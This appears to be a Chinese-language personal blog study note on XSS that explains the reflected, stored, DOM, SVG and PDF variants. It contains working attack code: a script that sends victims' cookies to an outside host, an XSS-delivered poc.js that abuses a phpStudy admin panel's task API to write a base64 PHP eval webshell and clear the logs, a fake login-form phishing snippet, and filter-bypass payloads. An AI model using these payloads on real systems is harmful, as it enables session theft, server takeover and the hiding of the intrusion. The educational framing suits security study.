【网络安全】OWASP TOP10(XSS篇)

🛠️ 使用的工具

一、核心概念与原理

🎯 什么是XSS漏洞

定义:攻击者将恶意脚本(通常是JavaScript)注入到目标网站中,当其他用户访问该网站时,恶意脚本在用户浏览器中执行。

  • 详细解释

网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

💣 漏洞根本原因

  • 核心问题:数据与代码未分离
✅ 正常流程:
用户输入数据 → 网站存储/输出 → 其他用户看到数据

❌ 漏洞流程:
用户输入<script>恶意代码</script> → 网站未过滤 → 其他用户执行恶意代码
  • 典型出现位置
  1. GETPOSTHeadersGET就是看一些URL参数;POST就是一些登录点、留言板;Headers就是像UA头、cookie
  2. 反馈与浏览
  3. 富文本编辑器
  4. 各类标签插入和自定义
  5. 用户资料
  6. 数据输出
  7. 评论、留言等
  8. 关键词、标签、说明
  9. 文件上传

总结一句话,任何可以自定义输入数据的地方都可以尝试XSS

二、XSS的三种主要类型

📤 反射型XSS

  • 攻击步骤

常见的情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,由于链接内所携带的参数会回显于页面中或作为页面的处理数据,最终造成XSS攻击

  • 案例演示
https://useragent.openadmintools.com/

这里会自动获取UA头信息,而且这个UA头的输入是我们可控的,那么我们尝试输入xss语句

这里是因为它输出的地方没有做任何过滤,所以导致后面的xss语句正常插入并且执行了

💾 存储型XSS

  • 攻击步骤

存储型XSS是持久化的XSS攻击方式,它将恶意代码存储于服务器端,比如数据库、留言页面、日志文件等,当其他用户访问该页面时就会触发代码,造成xss攻击

  • 案例演示

利用管理员账号密码登录

尝试输入其他的用户名登录,查看日志的操作详细是不是显示的就是用户名

现在xss利用的两要素已经齐活了:有输入且可控,有输出前端回显,直接在登录框写入xss语句

每次刷新都会弹,只有当清除日志后才会失效,这就是存储型xss

🏠 DOM型XSS

  • 攻击步骤

DOMXSS是通过将恶意代码插入到客户端的DOM树中,实现XSS攻击,无需经过服务器,因此相对来说比较难以检测

  • DOM树

DOM是文档访问对象模型,其实就是html标签元素都看成对象,然后通过对象去访问其方法和属性,而DOM树就是这个东西分层之后看起来像树一样的树形结构图

  • 案例演示

先看一段代码

<html>  
    <head>  
        <title> DOM-XSS TEST </title>  
    </head>  
    <body>  
        <script>  
            var hash = location.hash;  
            if(hash){  
                var url = hash.substring(1);  
                location.href = url;  
            }  
        </script>  
    </body>  
</html>
部分含义示例
location浏览器内置对象,代表当前页面的URLhttps://example.com/page.html#section1
.hash获取URL中#及后面的所有内容#section1
.substring(1)去掉第一个字符(去掉#),从索引1开始取section1

正常访问是用#去实现页面跳转

因为变量hash作为可控部分,并带入url中,变量hash控制的是#之后的部分,可以使用伪协议#javascript:alert(1),导致DOM XSS

通过改变客户端的传入参数即可造成XSS,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免了WAF的检测,这就是简单的DOM-XSS演示

三、XSS的其他类型

🔹 SVG XSS

  • SVG概念

SVG全称为 Scalable Vector Graphics(可缩放矢量图形),是一种基于XML格式的开放标准图像格式,用于描述二维矢量图形。与常见的位图(如 JPG、PNG、GIF 等)不同,SVG 不依赖像素点,而是通过数学公式(如点、线、曲线、形状等几何元素)来定义图形

<svg width="400" heigth="300" xmlns="http://www.w3.org/2000/svg">
	<!-- 这里放图片元素 -->
</svg>
--- 其中xmlns="http://www.w3.org/2000/svg"是必须声明的XML命名空间,告诉解析器这是SVG文档

SVG也提供了多种预定义的图形元素,每个元素可以通过属性定义形状、颜色等样式

<!-- 矩形 -->
<rect x="50" y="30" width="100" height="60" fill="blue" stroke="red" stroke-width="2" rx="5" ry="5"/>

<!-- 圆形 -->
<circle cx="200" cy="100" r="40" fill="yellow" stroke="black" stroke-width="3"/>

<!-- 椭圆 -->
<ellipse cx="300" cy="150" rx="60" ry="30" fill="green" stroke="purple"/>

<!-- 线段 -->
<line x1="50" y1="200" x2="250" y2="200" stroke="orange" stroke-width="4" stroke-dasharray="5,3"/>

<!-- 多边形 -->
<polygon points="150,250 100,350 200,350" fill="pink" stroke="gray"/>

......
  • SVG XSS原理

SVG-XSS是指利用SVG文件或代码注入进行的跨站脚本攻击。核心是通过在SVG内容中嵌入恶意的JS代码,当浏览器解析该SVG图片时,就会执行恶意代码,从而造成XSS攻击

SVG 之所以能被用于 XSS 攻击,核心原因在于其基于 XML 的特性允许嵌入脚本代码,且浏览器会将 SVG 作为 “可执行内容” 解析(而非单纯的静态图片)。

  • 案例演示

我们有这样一个SVG图片代码

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
	<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
	<script>alert(1)</script>
</svg>

对其进行访问

为了更加真实一点,我们就找一个文件上传的点,演示一下其配合文件上传漏洞的使用效果

🔹 PDF XSS

  • PDF XSS原理

PDF格式允许内嵌JavaScript代码,用于实现表单验证、动态内容更新等功能,攻击者可以利用此特性,在PDF中插入恶意代码

app.alert("xss");
  • 案例演示

这里我们先创建一个pdf,使用迅捷PDF编辑器,然后新建 -> 视图 -> 页面缩略图 -> 右键 -> 属性,然后找到动作打开页面这里,新增JavaScript代码

访问一下

四、XSS危害实例

🔬 XSS接收平台搭建

  • 小皮搭建BlueLotus_XSS
  • BeeF

Kali自带,可直接使用,这里就不演示了

🕵️ 盲打XSS

只要见到满足以下两个条件的地方就可以直接插入XSS语句看结果

  1. 有数据输入,且可控
  2. 有数据回显在前端

👑 Cookie盗取

  • XSS窃取原理

Cookie身份验证的基本逻辑就是,如果你登录之后浏览器会生成并保存一个Cookie值,然后当你下一次访问这个网站的时候浏览器就直接将Cookie发给服务器进行身份验证,避免重复登录

那现在我们通过XSS攻击语句是可以盗取这个Cookie的,所以一旦拿到这个之后,我们就可以伪造用户进行登录,这就是XSS最常用的攻击手段——Cookie盗取

  • 利用条件

目标网站存在可利用的XSS漏洞:攻击者需要能在目标页面中注入并执行恶意 JavaScript 代码。漏洞类型可以是存储型 XSS(恶意脚本被永久存储在服务器,如评论区、个人资料)或反射型 XSS(恶意脚本通过 URL 参数等临时触发,需诱导受害者点击)。

目标Cookie未设置有效的保护属性

  1. 网站只利用Cookie进行身份验证,没有用到什么token之类的东西辅助验证
  2. 并且Cookie和浏览器也没有设置像HttpOnly=trueSameSiteSecure的属性

受害者需要触发恶意脚本并且Cookie有效:受害者需访问包含恶意脚本的页面(存储型 XSS)或点击含恶意代码的 URL(反射型 XSS),且此时受害者浏览器中存在有效的 Cookie(如处于登录状态)。

  • 案例演示

利用上面自己搭建的XSS接收平台,来到“我的JS”,新建一个JS代码

var website="http://bluexss.cn/";
(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opner='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();

点击生成payload,然后在小皮的登录页面中插入这个XSS语句,注意多插几次

我们模拟管理员登录小皮后台,XSS接受平台成功获取Cookie

之后就是抓包更改Cookie值即可

📜 数据提交

  • 产生原理

通过去写入一个XSS访问地址的形式,让系统下载远程恶意JS文件,然后写入恶意代码,比如WebShell

  • 案例演示

小皮控制台有一个文件管理页面,泄露了网站文件夹的地址

尝试利用XSS去让他加载一个远程文件

// poc.js
function exp() {
    $.ajax({
        url: '/service/app/tasks.php?type=task_list',   //获取计划任务列表
        type: 'GET',
        headers:{
            "X-Requested-With": "XMLHttpRequest"
        },
        dataType: 'json',
        success: function (data) {
            var id = data.data[0].ID;    //任务名称
            $.ajax({
                url: '/service/app/tasks.php?type=exec_task',     //执行计划任务
                type: 'POST',
                headers:{
                    "X-Requested-With": "XMLHttpRequest",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
                },
                data: { tid: id },
                dataType: 'json',
                success: function (res) {
                    $.ajax({
                        url: '/service/app/log.php?type=clearlog',
                        type: 'POST',
                        data: { type: 'clearlog' },
                        dataType: 'json',
                        success: function (res2) {}
                    });
                }
            });
        }
    });
}

function save() {
    var data = new Object();
    data.task_id = '';
    data.title = 'shell_title';
    data.exec_cycle = '5';
    data.week = '1';
    data.day = '3';
    data.hour = '1';
    data.minute = '1';
    data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/shell.php';    //要执行的命令
    $.ajax({
        url: '/service/app/tasks.php?type=save_shell',
        type: 'POST',
        headers:{
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
        },
        data: data,
        dataType: 'json',
        success: function (res) {
            exp();
        }
    });
}

save();

通过登录框提交我们的恶意XSS语句

访问后台页面,查看文件

成功创建,下一步就是利用这个Shell

🎣 钓鱼与欺骗

// 🎨 伪造登录框
var fakeForm = '<div style="position:fixed;top:0;width:100%;background:white">' +
                '请重新登录:<input name="password">' +
                '<button onclick="sendPass()">提交</button></div>';
document.body.innerHTML += fakeForm;

五、实战演示 – 如何发现与利用

🔎 手工测试步骤

  • 第一步:找输入点
  1. URL参数(?key=value)
  2. 表单输入
  3. HTTP请求头(Referer、User-Agent等)
  4. 文件上传的文件名
  • 第二步:注入简单Payload
最简单:<script>alert(1)</script>
变 种:<img src=x onerror=alert(1)>
javascript:alert(1)
"><script>alert(1)</script>
  • 第三步:观察执行位置
  1. 输入输出在HTML标签内
  2. 输入输出在属性值内
  3. 输入输出在JavaScript代码中

🎯 常见绕过技巧

  • 大小写绕过
<ScRiPt>alert(1)</ScRiPt>
  •  双写绕过
<scr<script>ipt>alert(1)</scr</script>ipt>
  • 编码绕过
<!-- HTML实体编码 -->
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- URL编码 -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- Unicode编码 -->
\u003cscript\u003ealert(1)\u003c/script\u003e
  •  事件处理器(不需要<script>标签):
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<input type="text" onfocus="alert(1)" autofocus>
<svg onload="alert(1)">
  • 伪协议
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">

六、总结

常用标签:xss 常用标签及绕过姿势总结 – FreeBuf网络安全行业门户

本文为个人学习笔记,仅供技术交流 | 转载请联系作者 | 🔗 文章地址

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇